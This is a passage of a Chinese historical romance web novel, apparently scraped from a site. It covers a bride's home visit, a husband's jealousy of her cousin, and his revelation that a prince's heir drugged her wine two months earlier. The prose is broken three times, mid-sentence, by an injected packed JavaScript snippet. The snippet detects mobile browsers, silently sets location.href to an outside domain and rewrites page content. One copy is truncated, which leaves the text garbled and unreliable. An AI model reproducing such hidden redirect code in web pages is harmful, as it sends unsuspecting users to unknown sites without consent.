被她认错之后的不满和较劲。 他藏在手心的那颗珠子。 知道她与兄长的婚约时,心里冒出的涩。 杯弓蛇影般生怕她遭遇半点不测。 ...... 各种情绪,不讲道理地堆叠。 堆到高处,只剩下—— 他想娶她。 本朝没有兄长过世弟妹守制的习俗,但燕策知道兄长病逝后母亲忧思过度,这个时候让母亲去为自己说亲,太残忍。 他打算等兄长过世满一年,再去找母亲说这事。 但没成想还不到一年,卫臻那边就出了意外,二人有了亲|密|接触,阴差阳错仓促成婚。 燕明远不知其中内情,只知道,长子过世几个月,次子就瞒着家里求娶长子曾经的未婚妻子,所以他下了狠手罚燕策。 燕策也认下,哪能处处都让他讨到好。 能够求娶到她,已经是他的,上上签。 15. 第 15 章 一路在园中分花拂柳,前方传来的孩童笑声把燕策从回忆里拉回现实。 大姑娘燕姝的女儿小元攥着条帕子,“吧嗒吧嗒”跑过来,身后跟着她的奶嬷嬷。 她手里的帕子被风一吹,像条小尾巴。 卫臻让燕策把她放在一旁的石凳上,小元对着二人甜甜问过安,又仰着脑袋问燕策:“舅舅,我可以把你的狗抱去我院里玩吗?” 燕策笑道:“这个得问你舅母,她说了才算数。” 小元又去蹭着卫臻的胳膊问她,卫臻答应后,她又咯咯笑着把帕子搭在卫臻头发上。 绢帕上一缕香扑面而来,很温柔的气息,混在暖风里。 “为什么给我蒙帕子呀。”卫臻隔着薄薄的帕子看小元。 小元拉着卫臻的手道:“舅母之前就是这样蒙着盖头被舅舅抱进来的。” 卫臻又隔着帕子与燕策对视一眼。 几大一小正聊着,燕姝来了,她穿着水碧色大袖衫,乌发如云,眉目如画,鬓边别着朵秋香色绢花,极温柔的长相。 卫臻忙把头上的帕子揭下来,“大姐姐打哪来?” 这帕子是燕姝的,她接了过去,在卫臻身旁的石凳坐下,“刚从四叔院子里过来,四叔出去钓鱼,破天荒钓了条大的,拎起来比元姐儿还高。” 卫臻看了一眼小元,感叹道:“我还没见过这么大的鱼呢。” “的确少见,所以四叔回程时不肯坐马车,自个拎着鱼骑马回来的,逢人就聊几句,结果下马时摔了,让家丁抬进家门的。” “摔得要不要紧啊,请大夫了吗?”卫臻道。 “让大夫去瞧了,没伤着骨头,不算很严重,四叔方才还惦记着那鱼,一直说让人做鱼拓裱起来。”燕姝用帕子擦了擦小元额头上跑出来的汗,继续道:“你们先出门,明日再去探望四叔也使得,这会子四婶正跟他说话呢。” 这话燕策明白了,多半是四太太在数落四老爷,小辈不方便过去。几人聊了一会子,很快散去,卫臻与燕策上了回门的马车,燕姝则去了嘉会坊的宅子。 这宅子还是当初她出嫁时的一处嫁妆,风水好地段好,成了燕姝最常来的私宅。 一进了屋内,见楠木衣架上挂着件白色外袍,四爪蟒纹,杏黄的内衬。 燕姝走进里间,掀开珠帘就见到了衣裳的主人。 侍从早已被他屏退,屋内只剩二人,他走近了,动作自然地替她宽衣,而后替代衣裳,紧贴着她。 燕姝拍开他作乱的手,“怎么来这边了。” “让人接你几次,你都不过去,只能找过来了。” ** “总算是把你们盼来了。” 卫府门口,卫臻一下车,就见大伯母热切地迎了上来,她忙让燕策把自己搁下。 阿娘过世后,卫臻的父亲卫含章未曾续弦,祖母又年迈,因此她的婚事是由大伯母操持的。 这会子大伯母待她热络倒也算说得过去,可余下的人...... 卫臻看了看,不仅父亲在,除了祖母,卫府上上下下几乎都在门口迎着,连卫臻姑母家的表兄宋凭玉都来了。 女儿女婿回门,原是不必这般兴师动众的,让人怪不自在的。 打死她都做不到在这么多人跟前被燕策抱进屋里,说什么也只肯搀着。 一群人又互相寒暄见礼,过了好一阵子才去花厅坐下。 卫臻左手边依次坐着堂妹卫舒云和表兄宋凭玉,右手边是燕策和她的堂兄卫允。 长辈们对着二人道了几句"“琴瑟和鸣”的吉利话,又问了燕府女眷的安康,就在一旁吃茶话家常了。 卫臻这边几位平辈聊得更热络些,卫臻的堂兄卫允是个醉心诗书的,过几日就要下场科考了,话也并不多,堂妹卫舒云和表兄宋凭玉聊得多些。 “姐姐,尝尝番梨,表哥今日带来给你吃的,好甜。” 宋凭玉从卫臻那边收回视线,低头笑道:“舒云表妹也吃。” 卫臻是极爱吃番梨的,莲纹青花小碟中码放着切好的的果肉,色泽金黄,果香浓郁,每一块都配着小银叉。 她吃了一块,果然酸酸甜甜的,又顺手给燕策一块:“好吃。” 这是在她的家里,她理应照顾他。 燕策对上她亮晶晶的眼,这是她第一次喂他吃东西。 手对手给他的,当然算喂。 于是他把这块可能会带来麻烦的番梨接过来吃了。 在花厅里略坐了会子,卫舒云嫌长辈都在太拘束,就想拉着卫臻去她院里聊姐妹俩的悄悄话。 出了花厅,身边没了长辈,卫臻就没再扭捏,直接让燕策抱着她走了,她的脚能被搀着慢慢走一段路,尚走不了太远,燕策又不便把她抱到卫舒云院里,几人便去了卫臻出嫁前的院子。 燕策抱着卫臻进屋后就出来了,一抬头正对上宋凭玉的目光,二人对视一瞬,宋凭玉很快收回视线,往院中亭子里走。 姊妹俩去了屋内聊私房话,卫允并宋凭玉在亭内陪着燕策喝茶。 宋凭玉道:“翘翘年岁小,若有任性之处,六郎多担待。” “表兄多虑,翘翘性情好,阖府都很喜欢她。” 燕策婚前与卫臻这两位兄长并不相熟,现下坐在一处也就是闲聊,论诗书义理,聊古玩字画,聊过几日的春闱。 有侍女来上茶点,宋凭玉望着一碟甜豆酥道:“这豆酥也是翘翘爱吃的。” 卫允随口对侍女吩咐:“给舒云和翘翘她们也送些点心过去。” 方才燕策还没往别处想,接下来一留意就发现,宋凭玉聊起卫臻来,比卫允这个堂兄还热络。 且他每次主动挑话茬也都是与卫臻相关的:她的脚伤,她喜欢的吃食,她的童年趣事...... 燕策喝了一口茶,神情漠然,他知道卫臻十五岁才入京,这之前一直在益州,就算是随父探亲,也只有偶尔卫含章述职时才会回京。但益州到京城,山高路远,若非必要,官员述职不会带上家眷。 宋凭玉却是京城人士,他聊她哪门子的童年趣事。 闲聊了两盏茶的功夫,对面轩窗里探出只手,拂开窗边花枝,腕间玉镯叮当作响。 燕策认出来,是卫臻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878128|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然下一瞬她笑盈盈地探出头,发髻顶着窗边的花枝,朝这边轻声喊:“我想出去。” 宋凭玉坐在亭子里最靠近出口的位置,他下意识起身,很快又坐了回去。 燕策瞥了一眼突发恶疾的宋凭玉,也没从他那边走,一手撑在栏杆上,借力纵身从亭中翻下去。 “那家的玉板鲊好吃,等我脚好了,让人套车来接你,咱们一起去。可惜五柳鱼做得不对,我还真有些想这一口了呢,”屋内卫臻正继续和卫舒云临窗闲聊着,一抬头见燕策站在窗前,“你来啦,进来呀。” 屋内还有卫舒云,燕策得了卫臻的允许才进去把她抱出来。 “晒吗?”卫臻揽着他脖颈问道。 燕策闻言抬起袖子在她脸上遮阳。 “给你自己遮呀。” 不知道是不是错觉,卫臻总觉得燕策的脸好像红了,像新婚当夜喝过酒时一样红。 可他方才又没喝酒,便只能是晒的。 卫臻两手拢在他头顶,影子有些小,她又拿帕子在他头顶遮着。 柔软的薄绢被风吹动,贴上燕策上半张脸,一缕甜香钻入鼻腔,顺着沁入肺腑。 眼前被遮住,一切都变得朦胧,唯有她的声音真切又清晰。 卫臻原以为过会子进了屋内晒不到,燕策的脸就会好,可等到在厅内用完午膳,她发现燕策好像更红了,本想请个大夫来看看,燕策却讲没事,午憩就会好,卫臻便只能带他回了自己出嫁前居住的卧房。 “快睡呀,闭上眼,不准再看我了。” 卫臻现下并不困,她坐在床榻外侧,身边堆着方才卫舒云送她的话本和一小盒珠子。 见燕策阖上眼了,她就打开盒子在里面挑喜欢的珠子,准备拿来穿璎珞。 卫臻喜欢摆弄这些流光溢彩的的珠玉,有时候不一定非要做成个什么精巧物件儿,单是做的过程就让她觉得高兴。 燕策听着听着珠玑相击的泠泠响声,问道:“表兄平日里经常来这边府上走动吗?” 卫臻正在数珠子,她拖长调子“啊”了一声,“十六、十七、十八,”等到一口气数完手上这几颗,才答道: “也不是吧,表兄一般就逢年过节来探望祖母。” 那今天不年不节的,他来做什么。 还有方才,卫臻要从屋里出来的时候,她的脚暂时不方便,有他这个夫婿在,侍女也在, 他一个三四杆子才能打着的表兄殷勤什么。 等卫臻又数了一捧珠子,燕策幽幽道:“表兄定亲了吗?” “没有啊......我刚才数到多少了,你东一句西一句的,给我问乱了。” 燕策答得很快:“三十七。” 卫臻没再理他,他就躺在她旁边继续想方才的事情: 比他还大好几岁,至今未娶妻。 早不来晚不来,偏偏挑卫臻回门这日过来。 思及此处,燕策冷哼一声,谁知道宋凭玉这老小子打的什么主意。 卫臻见他一直问表兄的事,心里起了疑窦,扭头问道:“你打的什么主意?” 16. 第 16 章 卫臻想起,来的路上,燕策跟她说的韦夫人想给燕姝说亲的事。 “你该不会是想要给大姐姐和我表兄......这是决计不成的,他虽是我表兄,可论相貌还是出身,都配不上大姐。” 燕策没想到卫臻拐到这茬上了,他躺在一旁,拖长调子应了声。 “听见没有呀,你可别乱点鸳鸯。” “听见了。”燕策边应声,边朝身侧看了眼,而后拿起卫臻搁在一旁的手持镜照了照。 还好这次没起疹子,只是舌头疼,外加脸有些红。 他上次吃番梨还是许多年前,那时年岁小,反应更大一些,不仅起疹子,还发了高热。 卫臻见在他照镜子,也跟着看过来,“好红啊,这到底是怎么了,真的不用给你请个大夫瞧瞧吗?” 燕策再次拒绝:“睡一觉就好了。” 当然不能找大夫,若被她知道了,以后她大概不会再随便给他吃的。 况且,燕策觉得问题应当不在番梨,问题在于他太多年没吃了,多吃几次兴许就不会再红脸了。 卫臻穿完一小串珠子,扭头一看,发现燕策已经睡着了,她扯过锦被一角,给他搭在腰上,估摸着把肚脐位置捂好了, 小时候阿娘就说过,哪怕穿着衣裳睡觉,也得把肚脐盖一下。 倏然又想起这人给她揉肚子时曾经戳过她的肚脐,卫臻忍不住隔着衣裳戳他两下。 他腰腹平坦,戳上去很|硬,旁的什么都感觉不到。 卫臻连着戳了好几下,燕策都没醒。 他睡着了有种异样的乖,躺在她粉色的榻上,细密的眼睫垂着,在眼尾拓下一小片阴影,浑身的攻击性都被无意间收敛了。若不是眉骨上还带着伤,真会让人觉得他就是这般漂亮又无害。 燕策这一睡就是一个半时辰,期间卫臻的大伯母遣人来看了一回,见他确实没有大碍,脸上的红也开始褪去,这才放心。 卫臻在旁边坐着等他醒,看了一会话本子,觉得眼睛累,又把话本倒扣在一旁,再次去翻方才卫舒云给的匣子。 里头还有有一些很细的银链,可以绞短了拿来做穗子坠在步摇上,也可以做成手链戴。 卫臻起初拿银链在自己手上比划,换不同的珠子上去看效果,但是只用另一只手弄有些不太方便,干脆把燕策的手扯过来,银链挂在他指节上,如此她便能腾出两只手来弄珠子了。 燕策的手很大,手背玉一样冷白,指腹摸上去有一层薄茧,大抵是他平时握刀和拉弓弦磨出来的,不知道给他涂些香膏会不会滑|一些。 卫臻捏着他指腹,另一边伸长手去枕畔一摸,什么都没够到, 后知后觉意识到这张|床|榻不是她最近一直在睡的,枕边自然也不会有她擦手的香膏。 没有香膏,那就用最软|腻的掌心处去|蹭|他粗砺的指腹, 有些痒, 不是要本能避开的痒, 是想要与他整只手贴合在一处。 干燥,温暖,骨感,和摸|自己手的触感完全不同。 不对,不能这样。 卫臻猛地把手缩回来,自己用力搓了搓掌心。 脑海里却又突然跳出两个拉扯的小人。 一个蹦跶着说:想摸就摸几下啊,反正他睡着了。 另一个说:对呀对呀。 ...... 对什么对。 卫臻忙不迭把脑海里的小人赶跑。 还好他没醒,卫臻呼出口气,开始专心摆弄那些链子。 就像他拿着她的项圈那一幕一样,燕策的手真的很适合拿来挂这些闪闪的漂亮首饰。 链条丝丝|缕缕,极细|软,彼此牵|连|拉|扯,在他骨感修长的手上呈现出一种近乎于液|体|的垂|坠|感,于昏|暗的室内泛|着点银|亮的白|光。 等燕策醒来,下意识屈指捞了一把。 很快被卫臻摁住了:“别给我弄乱了。” 她的手就那么摁在他手上,软软|热热,指尖因为用力,勾住他手上的链条。两个人的手一大一小,被银链缠在一处。 燕策往下看了眼,见自己腰上扣着本看了一小半的书,封皮花花绿绿的,他没再动,指尖缓慢蜷|缩,把她整个手轻轻包住。 “你要喝水吗?”卫臻浑然不觉他的小动作。 燕策很难说清现在的感觉。 躺在她闺|中时的床|榻上睡着了,梦见藏她珠子那天,小小的柔|腻|珍珠,再次在他指腹|滚动。 醒来她就坐在他身侧,玩他的手。 他身上还倒扣着她看过的书。 好像成了她生活的一部分。 “你睡傻啦,要水吗?”卫臻难得耐心地又问了一遍, 她不舒服时他照顾过他,因此她也不介意暂时对他多一份耐心。 这回燕策应了。 茶盏就在旁边桌上,三四步的距离,卫臻的脚已经能走了。她转身下榻,刚要慢慢挪过去,就被他一手抱起来了,卫臻还在感叹他抱得过于熟练时,二人已经到了桌前。 燕策轻扬下颌示意她,“倒茶。” “你人都到这了,干嘛使唤我。” 他张口就来:“我病了,拎不动。” 卫臻点点头,也有理。 她拎起茶壶,哗啦啦往茶杯里倒了半盏。 有理吗? “你能抱动我,但是拎不动茶壶?” 燕策漆黑的瞳仁中溢出点笑意,辩解道:“我手上有这个。” 他轻晃腕骨,手上的银链随着他的动作摇晃。 他一手抱着她,空出来的那只手挂着她的银链,确实腾不出更多手来倒茶了,卫臻便点点头继续倒茶。 倒完茶,燕策没有动作,无声地得寸进尺。 卫臻不情不愿地端着茶盏凑到他唇边,又挪远了,“你真讨厌,早知道这样,我直接拿茶壶往你嘴里倒多好。” 他笑道:“我没说不行。” 慢悠悠午憩完,一家子又坐在一处闲话喝茶,金乌渐落之时二人准备返程。 “父亲,我们回去了。”临上车前,卫臻对父亲卫含章道别。 “回去吧,早些把脚养好,去玄妙观拜拜。” 当初卫含章丧妻时还不到而立之年,膝下唯有一女,子嗣单薄,相貌又生得俊美,曾有不少人劝他续弦。 但卫含章心里放不下亡妻,都拒绝了。 如此十来年,只守着从前为妻子作的画像度日。 卫臻入京后,在玄妙观给阿娘供了海灯。现下父亲虽未明说,但卫臻知道父亲提起玄妙观,应当是也想阿娘了,她温声道:“女儿晓得。” 马蹄扬起路边尘土,卫臻摸着小手炉坐在车厢里,“我的脚还有多久能好啊?” 她崴得不重,这几日照也恢复得好,燕策道:“再过五六日应当能正常行走。” “等康复了我要去趟玄妙观。” 玄妙观建在五方山半山腰,并不很高,但上山的路马车跑不开,卫臻现下若想上山,只能让人抬上去。 她见过山脚下专门抬人上山的轿子——小小一个椅子,前后左右也没个遮挡,抬轿的轿夫就紧挨着椅子。陌生人离那么近,卫臻觉得别扭极了,因此她虽然腿脚懒,却也从未坐过那个。 燕策本想说她短期内最好不要爬山,话到嘴边改了口:“好。” 她不能爬,但他能。 马车驶过石拱桥,二人的膝盖碰在一处蹭|了蹭,这辆马车其实已经比先前的宽敞很多了,但燕策还是故意挤着她坐。 卫臻用膝盖撞|他一下,出生警告:“不准|挤|我。” 除了车厢更宽敞,旁的也和之前那辆不一样,添了软垫,角落里还摆着几个攒盒,里头装着些蜜饯干果类的吃食,隔板底下装着两口大一点的箱子,里边是两人外出时备用的衣裳。 要是能再添个小妆匣就好了,把她出门会用的唇脂镜子一类的放进去,卫臻这般想着,也顺其自然说了出来。 “等回去后让人收拾,若还有旁的也一并。”他道。 卫臻看着窗牗外的摊位,来时没有经过这里,“这不是回府的路。” “不急着回去,晚上带你去永安楼用膳。” 二人上了永安楼四楼的雅间,祝余头一回跟着卫臻出门,她安排的膳食倒意外地都很合卫臻的口味,辛香酸麻,并不十分辣。 卫臻长在益州,却吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卫臻点了点头,她最近腿脚不方便,出门是得格外当心。 回程的时候,来了个身穿软甲的人在燕策旁边耳语:“前日从提厉手下收缴的那批兵器有问题,李将军拿不准注意。” 燕策点点头,送卫臻回到国公府门口后,直接带人驱马离开了。 从城内到虎贲营骑快马要半个多时辰,等燕策处理完事情已过亥初,李副将像往常一样吩咐侍卒给燕策的营帐里送热水。 燕策拾起来时他搁在桌上的马鞭,“不必,我回府。” 他回去时卫臻已经已经洗漱完了,与兰怀一齐往柜子底下看。 “怎么了?”燕策宽了外袍问道。 “有个小瓶滚到那了,还不知道在哪个角落里。” 闻言,燕策俯下|身,一手撑在地面上,另一手伸长了在柜子底下摸索。 从上往下俯瞰,让人更直观地感受到他肩膀的宽,背上的肌肉自然紧绷着,线条精瘦挺峻。 颈间的铃铛从领口处坠出来,垂着晃悠。 燕策知道卫臻在看自己。 他摸到了她的小瓶,但没说,动作故意慢一点。 卫臻忍不住问道:“还没够着吗?” “要是吠星在这就好了,昨日我有个小簪找不见了,它从茶案底下掏出来的。” 早上吠星被小元抱去玩了,现下还没送回来。 话音刚落,下一瞬燕策就利落起身,把她的小瓶搁在桌面上了, 幽幽道:“你猜你的簪子怎么掉到茶案底下的?” 兰怀把小瓶拿去擦净在地上滚到的浮尘, 卫臻仰头望着燕策:“什么意思,你说是吠星弄进去的吗?” “不要乱讲,只有你才会故意做这些引人注意的事,它才不是你这种人。” 燕策扯松了领口,一边往净房走一边道:“它本来就不是人。” 卫臻瞪了一眼他懒散的背影,“讨厌。” 17. 第 17 章 燕策带着一身水汽从浴|房出来时,卫臻已经懒洋洋歪在床|榻外侧,背后|塞|着个软枕,没骨头似的捧着话本子看。 见他过来了,她曲起右腿腾了点儿位置,好让他去里边。 没成想燕策在床|榻边挨着她的腿坐下了,“肚子好些了吗?” 卫臻眼睛没从话本上挪开,只点点头,她来月信时,一般只有前两日会难受。 余光见他一直坐在那不动弹,催促道:“去里边呀。” 燕策觉得现下是个把事情告诉她的好时机,她身子好些了,明日也没有大事要出门办。 又在犹豫,该用怎样的措辞把早上收到信的事说给她听。 敬茶那日,她提起两月前的事情就哭,现下又要跟她重提一次,他怕她哭。 卫臻歪着头看他一眼,“在这愣着做什么,奇奇怪怪的。” 燕策缓声道:“两月前,给你下药的人,抓住了。” 两月前卫臻在千春楼赴宴,酒里被下了药,而后就有侍从假意引她去厢房休息,燕策看见了那侍从的脸,立即让人去抓了,可惜他当天就被灭了口。 燕策又顺着查到了那日负责宴席上酒水茶点的人,名叫刘二,定州人,事发后就失踪了,当是发现侍从死了,担心自己也被灭口。 刘二很狡猾,善于躲藏,追查此人颇废了一番功夫,好在近期突厥使臣要入京朝贺,各地的馆驿和关卡盘查过往人口时比往日里更严。 燕策派出去的人,在定州二十里外的曲宁县,抓到了刘二。 燕策这话落在卫臻耳中,有些没头没尾,什么下药? 但是她捕捉到“两月前”这个词。 两月前发生在她身上的大事就那么一件,卫臻眉心一蹙,抬头听他继续讲。 “千春楼有个厨子名唤刘二,段怀山派人指使他在你的酒里下了药,我手下的人已经抓到了刘二,今日传信回来。预计还有三四日的脚程,刘二就会被押解回京。” 卫臻在脑海里努力消化着,几乎被这一长串消息砸蒙了,“下的什么药?段怀山是谁?”这个名字很陌生,但她知道段是本朝国姓。 燕策有些意外,她好像不知道自己那日被下了药,他解释道:“你在席间饮的酒里被下了催|情|的药,段怀山又命侍从把你带去厢房,后来你都知道了。” 后来卫臻在路上就撞到了燕策。 “至于段怀山,就是下午我们在外面用膳时,对面楼里那个人,你应当看见了。此人是梁王世子。”燕策道。 原来下午那会,卫臻觉得那个人的眼神不舒服,并不是她多虑,“他......他为何要给我下药?” 语落,卫臻自己就意识到:男子给女子下催|情|药,为的是什么不言而喻,一瞬间如坠冰窖,不自觉地紧紧摁着手底下的话本子,用|力到指腹泛白,厚厚的纸张被摁出声响。 燕策怕她把指甲顶|坏,把她手底下的话本子抽|走了。 卫臻张了张口想说什么,喉间有些发哽, 手底下空落落的,想抱抱自己,她深呼吸好几下,情绪稍微稳定了一点,才转过头来,讲话的语调很闷:“我被人下|药的事,怎么才告诉我。” “我以为你知道。”燕策把卫臻的毯子塞|进她手底下。 卫臻攥着毯子,胡乱揉成一团,塞|进怀里抱着,“我又没有害过人,去哪里知道这种刁钻狠毒的事......” 因着有时对肌|肤的触|感很敏|锐,还喜欢摸着毯子睡觉,所以卫臻一直都以为是她喝醉了酒才会往燕策怀里|蹭。 没想到是被人下药了。 天杀的。 听出她语气里的低落,燕策顺着她的话道:“我错了。” “你道的哪门子歉,”她又不会真的因为他先前没在她跟前提下药的事就怪他。 卫臻在毯子底下用力掐了掐指腹,把泪忍住了,错不在她,不能哭。 她偏过头去用力睁着眼,强迫自己把眼眶里的泪珠憋回去。 但语无伦次的话暴露了内心的不安:“那个段怀山,凭什么害我,我都没有见过他几回,也没有招|惹过他......今天之前甚至都不知道他的名字。” “不要想缘由,是他要害你,问题不在你这边。” 坏人要作恶,总会有千万种常人无法理解,也无需理解的动机。 卫臻心里涨涨的,沉默了好一会儿,没忍住瓮声骂出口:“天杀的,这个姓段的真是该死。” 夜风涌入里间,吹动她脸颊旁的细软碎发,为她整个人添上几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891088|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缥缈游离感,燕策想抱她,又不确定这个时候她会不会反感他的触碰,最终只缓声道:“是,他该死。” “抓到那个刘二之后如何?报官吗?” 卫臻有些不确定,段怀山背靠梁王府,就算是有刘二这个人证,京官也未必敢拿他。 梁王是圣上长子,生母德妃,潜邸时所出,温和仁厚,素日从不主动争名夺利,很受圣上宠爱。 今上讲究制衡之术,虽已立储君,但圣上仍然有意用梁王制衡太子。 只要梁王在,段怀山就不会出事。 “若报官,就算是捅|到天子眼前,也只会给段怀山禁足一段时间,要不了他的|命。”燕策道。 卫臻垂下头,半边脸颊埋进毯子里,声音闷闷的:“那,是不是拿他没办法,往后只能躲着他了。” “那就让他犯下更大的错,让陛下或太子无法忍受的错。” “能成吗?” “别怕,信我。 他这般说,但卫臻晚上仍睡得很不踏实,一会梦见有人在她看不见的地方要放火,一会梦见火里钻出条蛇,半夜猛地惊醒。 燕策听见她在梦里哭,正犹豫要不要把她叫醒,见她自己醒了,他坐起身。 卫臻抓住他袖口,唇瓣开合好几下才发出声音,鼻音很重,闷闷的:“你去哪?” “我去点个灯。” 卫臻立刻拒绝:“不要。” 她的脸已经被梦里无意识流|出的眼泪和汗弄得|湿|涔涔,不想这个时候暴|露在光下,被人看见。 燕策又在她身侧躺下,把帕子递给她。 卫臻接过来擦了擦脸,“我不能哭。”她声音翁里翁气,月光落在脸颊上,一片水|色。 “哭也没关系,没人看见。” “你看见了。” “我闭着眼。” 卫臻在夜里探出手去|摸,先摸到|软|软的,是他的唇。 指尖又顺着往上,划过笔挺的鼻梁,而后摸到了他的眼睫,果然眼睛闭着。 她用指节拨动几下他的睫毛,像一排小刷子。 燕策很痒,下意识抬手攥住她的手腕制止。 要制止吗。 他轻轻摩|挲她手腕几下,终没有把覆在眼睫上的手挪开。 18. 第 18 章 卫臻意识到燕策大概是痒。 指尖离开他的眼睫,顺着来时的路|径,慢慢往|下,滑到他颈侧,就这么停了一会儿。 手贴着他的喉,能感受到他每次呼吸时,喉结微微的震|颤。 卫臻心里沉淀的的,反而什么都讲不出来。 燕策默契地没有在这时候开口,只有的指节依旧松松扣着她的手腕, 两个人的手在夜里像缠|绕生长的树,彼此牵连,勾在一处。 卫臻隔着衣裳碰到他的锁|骨,又摸索着把铃铛从他领|口处拿出来,反复拨动上面的控制声音的小开关。 不知道拨动了多少次,卫臻就这么攥着他的铃铛,迷迷瞪瞪睡着了。 这一觉睡得沉了些,翌日金乌升起,卫臻被叫醒换月事带,睁开眼见床|榻边沿陷下去了一些,抬头看,是兰怀坐在那。 床|榻另一侧空着。 卫臻盯着那边发了会儿呆,起身穿衣时探|手|摸了一把,已经没有余温。 穿完衣裳,里间门口的珠链响动。 望过去,是吠星。 被兰怀扶着行至净房门口,卫臻再次听见身后珠帘响声, 回头—— 是祝余。 早膳也是卫臻一个人用的,桌上金黄色的粥凝出层厚厚的米皮,卫臻搅了搅,“太甜了,不想吃。” “粥里没搁糖呀,您稍微吃点吧,早上不用膳伤身。”祝余在一旁劝了劝,卫臻才勉强吃了一小碗,旁的没动。 用完膳兰怀想搀着卫臻活动活动,被她拒绝了。 祝余又给卫臻拿来她这几日看的话本子,卫臻也看不进去,只一个人坐在妆台前发愣。 吠星不知道她为什么不高兴,只知道卫臻闻起来苦苦的,便不吵不闹,安静趴在她腿边。 过了会子,一阵脚步声远远传来,听着是在院里。 卫臻搁下手上的梳子,下意识往门口处望了一眼, 同时,吠星从卫臻腿边站起来,一边叫,一边“吧嗒吧嗒”跑去了外边。 卫臻看着它的尾巴消失在门口,才收回视线,而后在椅子上转了转,微微侧身背对着门口,重新拾起梳子对着镜子专心梳头,顺手把一旁的妆匣也打开了。 很忙的样子。 但其实没什么好忙的,她的头发早就被梳好了。 熟悉的脚步声出现在门口—— 这个念头出现的一瞬,卫臻猛然发现自己已经能听出燕策的脚步声了。 珠帘被拂开,这次是他。 “咔嗒”,是他解了腰间佩刀搁在桌上。 想问他大清早去哪里了,但是莫名说不出口。 下一瞬,燕策似有感知,率先开口:“早起回了营里一趟。”他虽在休沐,但营中很多事抽不开身。 “本来想快些回来陪翘翘用早膳,临时有事耽误了一会儿。” 卫臻这才肯回过身来看他,“也不需要你陪......” 燕策在屏风另一边脱了外袍,重新换一件。 他的影子透过屏风攀|上她的裙摆,随着他的动作,那影子也在她裙子上晃。 今天的阳光好不讲理。 卫臻往前挪了挪,如此被桌子挡住,裙摆上就不会有他的影子了。 她指甲拨过梳子上的一道道凹槽,道:“你换完衣裳就去用膳吧。” 燕策抬起头,他身量高,视线直接越过屏风投向她, “陪我用膳好不好,”顿了下又补充:“我需要。” 卫臻手上拨动梳子的动作停了。 被需要是种很奇妙的情绪,尤其是对于现在的她。 莫名感到熨帖,卫臻轻轻应了一声,把梳子搁在桌上,看着他代替影子,从屏风后走出来,离她越来越近。 这几日她每次去净|房或者做别的事,几乎都是被他抱着去的。 次数多了,二人抱在一起的动作越来越自然。 所以,此刻燕策一靠过来,卫臻下意识就揽上他颈。 但燕策这次,没在她揽住他之后起身, 好像不是要抱她去别的地方,只是抱着她。 可能抱了很久,也可能就几瞬, 但这个刻意放缓的拥抱,真真切切地被卫臻察觉到了。 她该推开他、拒绝他, 燕策应当会听她的话。 但,许是心情不佳没有劲儿发脾气,也许是旁的缘由, 卫臻最终只是在心里骂他一两句: 真是耍赖。 这越界了。 燕策抱她的时机延续得很狡猾,在卫臻刚要上手拧他时,他就抱着她站了起来,朝外厅走去。 这才对。 卫臻趴在他肩上,揪着他身后的发带想。 燕策一个人用膳吃得比较简单,也很快,用完膳他看着她眼睛问道:“要不要再睡个回笼觉?” 她面颊白净,睡眠不足眼下有点乌青就会很明显。 卫臻应了,侍女进来点了支安神香,细烟袅袅。 外间有吠星“哒哒哒”走来走去的动静,燕策唤了它一声,它就跑进了里间,趴在床|榻边,重重叹了口气,很快睡着了。 燕策没睡,靠坐在床头不知道在看本什么书,偶尔翻动纸张的动静很轻。 窗外有鸟雀扑簌,偶而“啾啾”几声。 卫臻将睡未睡,阖上眼听了一会子。 再睁开眼屋内却只有她一个人了,一抬头,她又对上了那双蛇一样的眼睛。 卫臻急促|喘|息着,手底下冷汗涔涔,心跳如擂鼓。 燕策听见卫臻在睡梦里哼|唧,看见她胳膊抱在一起,蜷着身|子睡,像是做噩梦了,他喊了几声她的小名把她唤醒。 卫臻猛地睁开眼,熟悉的床|帐映入眼帘, 原来方才是梦。 “做噩梦了吗?” “我一想到,有人在我看不见的地方害我......”卫臻声音很闷,说话断断续续的,“倘若那日我运气不好,被段怀山......”她不敢继续想自己现下会是何种处境。 “不会的,不会那样的,别害怕。” 如今看卫臻睡觉都不踏实,燕策又有几分后悔这么早告诉她这件事, 若是等人压回来再告诉她,或者,干脆等除掉段怀山的那日再告诉他,她便能多开心一阵子。 可又很矛盾,在她身上发生过的事,事关她个人安危,他不想瞒着她。 若稀里糊涂被蒙在鼓里,才是真的危险。 燕策用帕子给她擦了擦额角渗出的汗,继续道:“不管发生什么,我都会出现的。” “怎么可能,你又没有千里眼。”卫臻摇了摇头,并不信。 燕策望着她水雾氤氲的眸,缓声道:“事发之前,我一直让人暗中保护你,祝余就是其中一个,若你在外面遇到意外,我会知道。” “且那日你赴宴,我就在隔壁,知道你被人 